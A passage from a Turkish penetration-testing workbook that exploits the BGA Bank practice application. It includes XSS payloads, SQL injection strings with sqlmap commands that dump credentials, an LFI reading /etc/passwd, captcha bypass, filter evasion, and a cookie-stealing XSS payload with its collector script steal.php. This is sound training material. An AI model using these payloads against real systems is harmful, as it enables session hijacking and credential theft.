bga bank web güvenlik testleri uygulama kitabı
TRANSCRIPT
[ Tüm yayın hakları BGA Bilgi Güvenliği A.Ş.’e aittir. BGA’nın yazılı izni olmadan çoğaltılamaz. Kaynak gösterilmek koşuluyla alıntı yapılabilir.]
BGA BANK Web Güvenlik Testleri Uygulama Kitabı Ceylan BOZOĞULLARINDAN <[email protected]>
08 Fall
2 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
GİRİŞ
BGA Bank Hakkında “BGA BANK (Vulnerable Online Bank Application)” uygulaması PHP tabanlı çeşitli zafiyetler içeren sızma testi eğitim platformudur. Türkiye'deki bankacılık altyapısı incelenerek bu altyapılarda çıkabilecek tüm teknik ve mantıksal hatalar uygulamanın içine eklenmiş ve web uygulama güvenliği konusunda çalışanlar için gerçekci bir sızma testi platformu oluşturulmuştur.
Webgoat, DVWA vs gibi benzeri amaçla yazılmış programlardan en temel farkı açıklıkların doğrudan kullanıcıya nerede olduğu ve nasıl istismar edileceği ile ilgili ipucu vermemesidir.
BGA BANK altyapısı 3 farklı sistemden oluşmaktadır: 1-‐ BGA BANK -‐ http://www.bgabank.com 2-‐ IPS Korumalı Bankacılık Uygulaması -‐ http://ipstest.bgabank.com 3-‐ WAF Korumalı Bankacılık Uygulaması -‐ http://waftest.bgabank.com
Böylece bgabank.com'da çalışan bir açıklığın hem IPS hem de WAF sistemleri ile tekrar test edilerek çeşitli evasion tekniklerinin denenmesi de sağlanmış olmaktadır.
Yazılım Geliştiriciler Ceylan BOZOĞULLARINDAN, Rızacan TUFAN
Kitapçık Yazarları Ceylan BOZOĞULLARINDAN, Ender AKBAŞ, Huzeyfe ÖNAL
Katkıda Bulunanlar Halil DALABASMAZ, Ömer ALBAYRAK
Proje Yöneticisi Huzeyfe ÖNAL
Kitap içeriğiyle ilgili her türlü geri dönüş için [email protected] adresine e-‐posta gönderebilirsiniz.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 3
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Bilgi Güvenliği AKADEMİSİ (BGA) Hakkında
Bilgi Güvenliği Akademisi (BGA) Türkiye’deki bilgi güvenliği sektörüne profesyonel anlamda destek olmak amacıyla ileri seviye güvenlik danışmanlığı ve bilgi güvenliği eğitimleri konularında kurumlara hizmet vermektedir.
2008-‐2010 yılları arasında yapılan çalışmalar sonucu gönüllü bir ekip tarafından kurulup Türkiye ‘de bilgi güvenliği konusunda bilgi paylaşımının ve bilinçlenmenin arttırılması adına e-‐posta listeleri oluşturulması, seminerler, güvenlik günleri düzenlenmesi, üniversite öğrencilerine yön vermek maksadı ile siber güvenlik kamplarının düzenlenmesi gibi birçok konuda faaliyetlerde bulunmuştur.
Bilgi Güvenliği Akademisi, BGA Bilgi Güvenliği A.Ş. olarak 2011 yılı başında şirketleşmiştir. Kısa sürede Türkiye’nin en önemli kurumlarına bilgi güvenliği ve stratejik siber güvenlik konularında danışmanlık gerçekleştirmiş, 500’den fazla kuruma eğitim vermiştir.
2012 -‐ 2015 yılları itibariyle yurtdışında Azerbaycan, Kazakistan, KKTC gibi ülkelerde de şube açmış ve bu ülkelerde en büyük 10 şirkete hizmet vermektedir .
Sunduğumuz eğitim ve danışmanlık hizmetleri için [email protected] adresine e-‐posta gönderebilirsiniz.
4 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
İç indekiler GİRİŞ ............................................................................................................................................................. 2
Bilgi Güvenliği AKADEMİSİ (BGA) Hakkında .............................................................................................. 3
1. Müşteri Giriş Paneli Reflected XSS Zafiyeti ve İstismarı ........................................................................... 6
2. Müşteri Giriş Paneli SQL Injection Zafiyeti ve İstismarı ............................................................................ 9
3. User-‐Agent Bilgisi Değiştirerek Captcha Atlatma (Mobil Giriş) ............................................................... 12
4. Arama Kutusu Reflected XSS Zafiyeti ve İstismarı .................................................................................. 14
5. HPF (HTTP Parameter Fragmentation) Yöntemi ile XSS İstismarı ........................................................... 16
6. XSS Kullanarak Cookie Bilgisi Çalma ....................................................................................................... 17
7. Yönetim Paneli Dizin İfşası ...................................................................................................................... 18
8. Local File Inclusion Zafiyeti ve İstismarı .................................................................................................. 20
9. robots.txt Bilgi İfşası ............................................................................................................................... 22
10. PhpMyAdmin Bilgi İfşası ....................................................................................................................... 23
11. Arama Kutusu Error Based & Union Query SQL Injection Zafiyeti ve İstismarı .................................... 24
12. Log Dizininde Cookie İfşası (elmah.axd) ve İstismarı ............................................................................ 30
13. Mesaj Gönderme Stored XSS Zafiyeti ve İstismarı ................................................................................ 36
14. Havale/EFT Hesap Arama Kutusu SQL Injection Zafiyeti ve İstismarı ................................................... 38
15. User-‐Agent Başlık Bilgisinde SQL Injection Zafiyeti ve İstismarı ........................................................... 41
16. Profil Güncelleme Shell Upload Zafiyeti ve İstismarı ............................................................................ 42
17. Havale/EFT Stored XSS Zafiyeti ve İstismarı ......................................................................................... 45
18. Erişim Kısıtlamasını Atlatma ................................................................................................................. 48
19. Havale/EFT İşlemi Mantık Hatası ve İstismarı ....................................................................................... 51
20. Müşteri Bilgileri Insecure Direct Object Zafiyeti ve İstismarı ................................................................ 53
21. Ziyaretçi Defteri Stored XSS Zafiyeti ve İstismarı .................................................................................. 56
22. Çalışmayan Captcha Uygulaması .......................................................................................................... 58
23. Captcha Atlatarak Brute Force Saldırısı Gerçekleştirme ....................................................................... 59
24. Cookie Hırsızlığı ile Yönetim Panelinde Oturum Açmak ....................................................................... 62
25. Müşteri Parolasının Tahmin Edilebilir Olması ....................................................................................... 66
26. Havale İşleminde Mantık Hatası (Havale Yaparak Bakiye Arttırma) ..................................................... 70
27. Dizin Listeleme/İfşa Zafiyeti ................................................................................................................. 71
28. Şifre Değiştirme İşlemi CSRF Zafiyeti ve İstismarı ................................................................................. 72
29. Kartlarım Sayfası Insecure Direct Object References Zafiyeti ve İstismarı ........................................... 76
30. Şubeler Sayfası SQL Injection Zafiyeti ve İstismarı ............................................................................... 79
31. İşlem Özeti Filtreleme Web Service SQL Injection ................................................................................ 83
32. BGA Bank Session Fixation Saldırısı ...................................................................................................... 86
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 5
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
33. HTML Yorum Satırlarında Bilgi İfşası ..................................................................................................... 88
34. Şifre Değiştirme Panelinde Şifre Form Kontrolünü Atlatma ................................................................. 90
35. Diğer Müşterilere Bağlı Kart Şifrelerini Değiştirme .............................................................................. 93
36. Şubeler Sayfası Reflected XSS Zafiyeti ve İstismarı ............................................................................... 96
37. İçerik Parametresi Time-‐Based SQL Injection Zafiyeti ve İstismarı ....................................................... 99
38. Kodlarına Ulaşılabilir Dosyalar ............................................................................................................ 101
39. User-‐Agent Başlık Bilgisinde Stored XSS Zafiyeti ve İstismarı ............................................................. 103
40. Haberdar Ol Sayfası SQL Injection Zafiyeti ve İstisamarı .................................................................... 107
41. Haberdar Ol Sayfası Reflected XSS Zafiyeti ve İstismarı ..................................................................... 112
42. Döviz Alma İşleminde Araya Girilerek Döviz Fiyatı Değiştirme ........................................................... 115
43. Tomcat 6 Sistem İfşası ........................................................................................................................ 118
44. Güvensiz Çıkış Zafiyeti ........................................................................................................................ 119
45. User-‐Agent Bilgisi Değiştirerek Ücretsiz Havale İşlemi Gerçekleştirme .............................................. 121
46. LFI ve Dosya Yükleme Zafiyetini Kullanarak Sisteme Shell Yükleme ................................................... 123
47. Tomcat Metasploit Brute Force Saldırısı ............................................................................................ 128
48. Müşteri Girişi Form Tabanlı Brute Force Saldırısı ............................................................................... 130
49. OWASP Xenotix XSS Framework Kullanarak XSS Tespiti ..................................................................... 133
50. XSS Zafiyeti ile Beef Framework Kullanarak Şifre Çalma Senaryosu ................................................... 136
51. Nmap Kullanarak PortSpoof Tespiti .................................................................................................... 142
6 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
1. Müşteri Giriş Paneli Reflected XSS Zafiyeti ve İstismarı BGA Bank "Müşteri Giriş Paneli" sayfasında “Reflected XSS Zafiyeti” bulunmaktadır. XSS zafiyetinin tespiti ve istismarı aşağıda adım adım anlatılmıştır.
URL http://isube.bgabank.com/giris.aspx
HTTP Talep Türü POST
Payload <script>alert(document.cookie)</script>
Parametre b_musterino
Tablo 1. Giriş Sayfası Reflected XSS Zafiyet Bilgileri
1) Giriş formu rastgele ve yanlış bilgilerle doldurulur, ardından “Giriş Yap” butonuna tıklanır.
Şekil 1. Müşteri Giriş Paneli
Yanlış girilen müşteri numarasının hata mesajında yer alması, XSS zafiyetinin olabileceğine işaret eder. 12345678 yerine yazılan herhangi bir HTML veya JavaScript kodu, sayfa kaynak kodları arasında yer alır. Eğer girdiler geliştirici tarafından filtrelenmemişse saldırgan zararlı kod parçacıklarını sayfa üzerinde çalıştırabilir.
2) Tarayıcı ile uygulama arasına girilerek, JavaScript filtrelemeleri atlatılır ve payload çalıştırılır.
Müşteri numarası alanına direk tarayıcı üzerinden html kod girildiğinde, Şekil 2. de gösterilen hata veya türevleri zafiyetin istismarına engel olacaktır.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 7
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 2. Müşteri Giriş Paneli Hata Mesajı
Uygulama geliştirici, girdileri JavaScript ile kontrol etmektedir. JavaScript kodları sunucuda değil, son kullanıcının yani müşterinin tarayıcısında çalışır. Bu problem, tarayıcı ile sunucu arasına girilerek çözülebilir. Bunu gerçekleştirmek için de Proxy araçları kullanılır. Bu zafiyetin istismarında Proxy aracı olarak Burp Suite kullanılmıştır.
Müşteri numarası, geliştiricinin istediği formata uygun bir şekilde (12345678) girilir. “Giriş Yap” butonuna tıklandığı anda sunucuya gönderilen istek Proxy’ye düşer. Proxy’de bekletilen istek üzerinde bulunan, “b_musterino” parametresinin 12345678 olan değeri Tablo 1. deki payload ile değiştirilir. Bekletilen isteğe izin verilerek sunucuya ulaşması sağlanır. Böylece filtreleme başarılı bir şekilde atlatılmış olur.
Şekil 3. Burp Suite İle Veri Manipülasyonu
8 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
3) Sonuç, müşterinin cookie bilgileri başarılı bir şekilde alınır.
Şekil 4. Sonuç
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 9
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2. Müşteri Giriş Paneli SQL Injection Zafiyeti ve İstismarı Müşteri giriş panelinde SQL injection zafiyeti yer almaktadır. Zafiyet bilgileri tablo 2. de gösterilmiştir.
URL http://isube.bgabank.com/giris.aspx
HTTP Talep Türü POST
Payload " or 2=2;-‐-‐
Parametre b_musterino
Tablo 2. Giriş Sayfası SQL Injection Zafiyet Bilgileri
Zafiyetin istismarı aşağıda adım adım anlatılmıştır.
1) Giriş formu kurallara uygun şekilde doldurur ve Firefox’un HTTP Live Headers eklentisi açıkken “Giriş Yap” butonuna tıklanır.
HTTP isteği gönderilirken, “Live HTTP Header” üzerinde kendi yansımasını bırakır. Bu yansıma üzerinde Javascript filtreleme olmadığından payload girilerek istek tekrar gönderilebilir. Şekil 5. de gösterilen istek üzerinde değişiklik yapmak için “Replay” butonuna tıklanır.
Şekil 5. Live HTTP Headers
10 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2) “b_musterino” parametre değerine, Tablo 2. de yer alan SQL injection payload girilir ve istek tekrar “Replay” butonu ile gönderilir. (bkz. Şekil 6)
Şekil 6. Live HTTP Headers SQL Injection Payload Gönderimi
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 11
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
3) Sonuç, başarılı.
Şekil 7. Sonuç
12 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
3. User-Agent Bilgisi Değiştirerek Captcha Atlatma (Mobil Giriş)
URL http://isube.bgabank.com/giris.aspx
Tablo 3. Captcha URL
Tablo 3. de belirtilen adreste üç kez yanlış giriş denemesinde bulunulduğunda, brute force saldırısını engellemek için captcha çıkmaktadır. Fakat mobil cihazla girildiğinde captcha çıkmamaktadır. Tarayıcıda user-‐agent bilgisi değiştirilerek, mobil cihaz gibi siteye giriş yapılabilir. Bunun için Firefox eklentisi “User Agent Switcher” kullanılabilir.
Şekil 8. Captcha Panel
Bu durumdayken “User Agent Switcher” ile cihaz iPhone 3.0 olarak ayarlanır ve yanlış veriler girilip “Giriş Yap” butonuna tıklandığında Captcha ‘nın kaybolduğu görülecektir. (Şekil 9)
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 13
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 9. User Agent Switcher
14 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
4. Arama Kutusu Reflected XSS Zafiyeti ve İstismarı URL http://isube.bgabank.com/?sayfa=arama.php&s1=bgabank&s2=
HTTP Talep Türü GET
Payload <Script>prompt(document.cookie);</Script>
Parametre s1 veya s2
Tablo 4. Arama Sayfası Reflected XSS Zafiyet Bilgileri
Arama kutusunda Reflected XSS zafiyeti bulunmaktadır. Zafiyet bilgileri Tablo 4. de belirtilmiştir. Bu zafiyeti istismar etmeden önce normal bir arama yapılır. "deneme" kelimesi aratıldığında "Aradığınız Kayıt Bulunamadı” hatası dönmektedir. (bkz. Şekil 10)
Şekil 10. Normal Arama Sonucu
Daha sonra çeşitli payloadlar denenebilir. En sık kullanılan payloadlardan <script>alert(1)</script> denendiğinde, sonuç Şekil 11 deki gibidir.
Şekil 11. Hata mesajı
Burada script, alert gibi sık kullanılan XSS payloadlarına karşı bir önlem alındığı düşünülebilir. Bu engeli atlatmak için en basit yöntemlerden biri script kelimesini büyük-‐küçük harf
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 15
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
kullanarak yazmaktır. Şekil 12. de <Script>prompt(document.cookie);</Script> payloadı denenmiştir ve sonuç başarılıdır.
Şekil 12. Sonuç
Bu payload haricinde, içinde script veya alert kelimeleri geçmeyen yüzlerce farklı payload çalıştırılabilir. Örnek; http://isube.bgabank.com/?sayfa=arama.php&s1=<img onerror=prompt('BGA') src="a" />&s2= (bkz. Şekil 13)
Şekil 13. Örnek Payload Denemesi
16 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
5. HPF (HTTP Parameter Fragmentation) Yöntemi ile XSS İstismarı Örnek URL;
http://isube.bgabank.com/?sayfa=arama.php&s1=<img onerror=al&s2=ert('BGA') src=”a”/>
Alınan önlemler, HPF(HTTP Parameter Fragmentation) olarak adlandırılan yöntemle atlatılabilmektedir. Bu yöntemde, arama işleminde yer alan, iki arama parametresi (s1 ve s2) üzerinden istismar edilir. Örnek URL ’de alert s1 ve s2 parametreleri üzerinde bölünmüştür. (bkz. Şekil 14)
Şekil 14. HPP
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 17
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
6. XSS Kullanarak Cookie Bilgisi Çalma Arama kutusunda yer alan XSS zafiyeti, kullanıcıların cookie bilgilerini çalmak için kullanılabilir. Aşağıda belirtilen tablodaki payload, istenilen linke, kullanıcı cookie bilgilerini get isteği ile göndermektedir.
Cookie Çalma İçin Kullanılan Payload
<sCript>document.location="http://localhost/test/steal.php?cookie="+document.cookie</Script>
Adres içerisinde belirtilen steal.php dosyasının kaynak kodları aşağıdaki gibidir.
steal.php Kaynak Kodları
<?php $cookie = $_GET["cookie"]; $myfile = fopen("cookies.txt", "a") or die("Dosya bulunamadı!"); fwrite($myfile, $cookie); fclose($myfile); ?>
Yukarıdaki kaynak koddan da anlaşıldığı gibi, gelen istekler, cookies.txt dosyasına kaydedilmektedir. Bunun için, ya cookies.txt dosyası oluşturmalı yolunu belirtilmeli ya da fopen parametresi w olarak değiştirilmelidir. w parametresi yeni dosya oluşturup, içine yazmayı sağlar.
Şimdi zafiyet yeni payload ile denendiğinde, sayfanın yönlendiği görülecektir. (Şekil A)
Şekil A. Çalışan Payload
Cookies.txt dosyasına kullanıcı cookie bilgileri kaydedilmiştir. (Şekil B)
Şekil B. Cookies.txt İçeriği
18 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
7. Yönetim Paneli Dizin İfşası
URL http://isube.bgabank.com/administrator.aspx
Tablo 5. Yönetim Paneli URL
Zafiyet her zaman kodlar üzerinde olmayabilir. Bazen basit bir parola veya giriş formunun brute-‐force’a açık olması hedef sistemde hak yükseltmek için kullanılabilir. Bunun için öncelikle admin giriş sayfasının tespit edilmesi gerekir. Keşif aracı olarak wfuzz kullanılmıştır. Ancak bazı öntanımlı admin panel dizinleri manuel olarak da denenebilir. Dizin ifşası için Wfuzz aracında aşağıdaki komutlar sırasıyla çalıştırılır. # cd /usr/share/wfuzz # ./wfuzz.py -‐c -‐-‐hc 404,XXX -‐z file,wordlist/general/admin-‐panels.txt http://isube.bgabank.com/?sayfa=FUZZ
Kelime listeleri wfuzz/wordlist dizini altında bulunabilir. Yukarıdaki URL’de FUZZ yazan yer brute-‐force’un deneneceği kısımdır.
Şekil 15. Wfuzz Sonuç
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 19
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Response değerlerine bakıldığında 2 tip cevap döndüğü görülür, 401 ve 200. 401 olanlar elenir. 200 olanlar Lines, Word, Chars değerlerine bakılarak ayırt edilebilir. Şekil 15. de benzer değerleri bulunmayan tek dizin vardır (administrator.aspx).
Yönetici paneli;
Şekil 16. Yönetim Paneli
20 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
8. Local File Inclusion Zafiyeti ve İstismarı
URL http://isube.bgabank.com/?sayfa=../../../../../../etc/passwd
Tablo 6. Local File Inclusion URL
● Bir önceki bulguda bahsedildiği gibi BGA BANK’ta sayfa parametresiyle sunucudan
aynı dizin altındaki farklı php dosyaları(giris.php, mobilgiris.php vb.) çağırılmaktadır. ● Hem Linux’ta hem Windows’ta .(tek nokta) aynı dizini ve .. (iki nokta) ise bir üst
dizini ifade eder. ● Linux bir sistemde /etc/passwd dosyası bazı kullanıcı bilgilerini saklar ve herkes
tarafından okunabilir. Bu bilgiler kullanılarak sistemdeki yerel dosya okuma zafiyetinden /etc/passwd dosyası görüntülenebilir. İşlem manuel olarak yapılıyorsa garanti olması için ../../ sayısı fazla tutulabilir. İşletim sistemi sayı fazla olsa dahi ana dizinden bakmaya başlayacaktır. Yani tablo 6. da belirtilen adrese ve http://isube.bgabank.com/?sayfa=../../../../../../../../../../../etc/passwd adresine giriş yapıldığında şekil 17. deki sonucu verecektir.
Şekil 17. /etc/passwd Bilgileri
Otomatize araç olarak wfuzz kullanılabilir. # cd /usr/share/wfuzz # ./wfuzz.py -‐c -‐-‐hc 404,XXX -‐z file,wordlist/Injections/Traversal.txt http://isube.bgabank.com/?sayfa=FUZZ
Bir önceki zafiyette olduğu gibi wfuzz FUZZ’un olduğu bölüme bruteforce yapacaktır. Word ve Chars değerleri kontrol edilerek geçerli dizinler bulunabilir. (bkz. Şekil 18)
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 21
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 18. Wfuzz LFI
22 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
9. robots.txt Bilgi İfşası
URL http://isube.bgabank.com/robots.txt
Tablo 7. Local File Inclusion URL
Robot.txt, arama motorlarına sitedeki hangi dizinleri indeksleyebileceğini belirten basit bir metin dosyadır. Bu dosya ile, örneğin Google’ın indekslemediği gizli dizinler, web sayfaları öğrenilebilir. Robot.txt dosyası web sitesinde en üst dizinde bulunur. Aşağıdaki robot.txt dosyasından Disallow ile belirtilen 6 dizinin indekslenmesinin istenmediği anlaşılabilir. Bu da dizinlerin var olabileceğini gösterir.
Şekil 19. robots.txt İçeriği
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 23
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
10. PhpMyAdmin Bilgi İfşası
URL http://isube.bgabank.com/pma/
Tablo 8. phpMyAdmin URL
MySQL veritabanını web tarayıcısı üzerinden yönetmek için kullanılan phpMyAdmin uygulamasının giriş sayfası dışarıya açıktır. Bu sayfaya erişim kısıtlanmadığında brute-‐force saldırılarına maruz kalabilir ya da uygulamaya has zafiyetler varsa istismar edilebilir. Öntanımlı phpMyAdmin giriş sayfası pma veya phpmyadmin’dir.
Şekil 20. phpMyAdmin Panel
24 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
11. Arama Kutusu Error Based & Union Query SQL Injection Zafiyeti ve İstismarı URL http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=
HTTP Talep Türü GET
Payload " or 1=1;
Parametre s1
Tablo 9. Arama Kutusu SQL Injection Zafiyet Bilgileri
Arama kısmında hata tabanlı ve Union sorguları çalıştırılabilecek SQL injection zafiyeti vardır. Tespit için öncelikle bir çift tırnak atıldığında SQL hatası görülebilir. (bkz. Şekil 21)
Şekil 21. Arama Kutusu SQL injection
deneme" or 1=1; payloadı ile veritabanında deneme ile ilgili bir içerik olmasa dahi " or 1=1; ile tüm içerik listelenmiştir. (bkz. Şekil 22)
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 25
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 22. Payload Çıktısı
İstismar sqlmap aracı ile yapılmıştır. Aşağıdaki komut ile sqlmap’e zafiyetin hangi URL’de, hangi parametrede, hangi veritabanında olduğu ve istismarın hangi seviyede aranacağı belirtilmiştir. sqlmap’de seviye(level) yükseldikçe HTTP cookie, HTTP user agent gibi başlıklarda da zafiyet aranır.
# sqlmap.py -‐u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=" -‐p s1 -‐-‐dbms MYSQL -‐-‐level 4
sqlmap çıktısı;
GET parameter 's1' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection points with a total of 461 HTTP(s) requests: -‐-‐-‐ Place: GET Parameter: s1 Type: error-‐based Title: MySQL >= 5.0 AND error-‐based -‐ WHERE or HAVING clause Payload: sayfa=arama.php&s1=deneme" AND (SELECT 8204 FROM(SELECT COUNT(*), CONCAT(0x716d6e6371,(SELECT (CASE WHEN (8204=8204) THEN 1 ELSE 0 END)),0 x7176717771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "rmsH"="rmsH&s2= Type: UNION query Title: MySQL UNION query (NULL) -‐ 10 columns Payload:sayfa=arama.php&s1=deneme" UNION ALL SELECT NULL,
26 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
CONCAT(0x716d6e6371,0x68546f6b5063706b4968,0x7176717771),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&s2= -‐-‐-‐ [17:00:01] [INFO] the back-‐end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-‐end DBMS: MySQL 5.0
Görüldüğü gibi error-‐based ve UNION query tipinde sql injection zafiyetleri tespit edildi. İstismar için önce -‐-‐dbs ile var olan veritabanları listelenir. (Tablo 10)
Komut sqlmap.py -‐u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=" -‐p s1 -‐-‐dbms MYSQL -‐-‐level 4 -‐-‐dbs
Çıktı available databases [6]: [*] bga_bank_4_0 [*] honeypot [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin
Tablo 10. sqlmap Veritabanı Listeleme Verileri
Hedef olarak -‐D ile bga_bank_4_0 veritabanı seçilmiştir ve -‐-‐tables ile tablolar listelenmiştir. (Tablo 11)
Komut sqlmap.py -‐u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=" -‐p s1 -‐-‐dbms MYSQL -‐-‐level 4 -‐D bga_bank_4_0 -‐-‐tables
Çıktı Database: bga_bank_4_0 [20 tables] +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+ | bnk_ayarlar | | bnk_bankalar | | bnk_basvurular | | bnk_failed_logins | | bnk_hesap_islemleri | | bnk_hesap_turleri | | bnk_hesaplar | | bnk_iller | | bnk_kartlar | | bnk_karttipleri |
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 27
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
| bnk_kurtipleri | | bnk_musteri_temsilci_mesajlar | | bnk_musteriler | | bnk_musteriler_user_agent | | bnk_plakalar | | bnk_sahte_hesaplar | | bnk_sayfalar | | bnk_subeler | | bnk_temsilciler | | bnk_ziyaretci_defteri | +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
Tablo 11. sqlmap Tablo Listeleme Verileri
Listelenen tablolardan BGA Bank’taki müşteri temsilcileri hedef alınmıştır. -‐T ile bnk_temsilciler tablosu seçilir ve -‐-‐columns parametresi ile kolonlar listelenir. (Tablo 12)
Komut sqlmap.py -‐u 'http://www.bgabank.com/index.php?sayfa=arama.php&s=deneme' -‐p s -‐-‐dbms MYSQL -‐-‐level 4 -‐D BGA_Bank_1_0 -‐T bnk_temsilciler -‐-‐columns
Çıktı Database: bga_bank_4_0 Table: bnk_temsilciler [9 columns] +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+ | Column | Type | +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+ | t_adi | varchar(25) | | t_durum | int(11) | | t_email | varchar(200) | | t_ensongiristarihi | timestamp | | t_ID | int(11) | | t_kullanicino | varchar(9) | | t_resim_yol | text | | t_sifre | text | | t_soyadi | varchar(30) | +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
Tablo 12. sqlmap kolon listeleme verileri
Temsilci numarası ve şifresi sırasıyla t_kullanicino ve t_sifre kolonlarında tutulduğundan bu iki kolondaki veriler Tablo 13 de gösterilen komut ile çekilir.
28 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Komut sqlmap.py -‐u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=" -‐p s1 -‐-‐dbms MYSQL -‐-‐level 4 -‐D bga_bank_4_0 -‐T bnk_temsilciler -‐C t_kullanicino,t_sifre -‐-‐dump
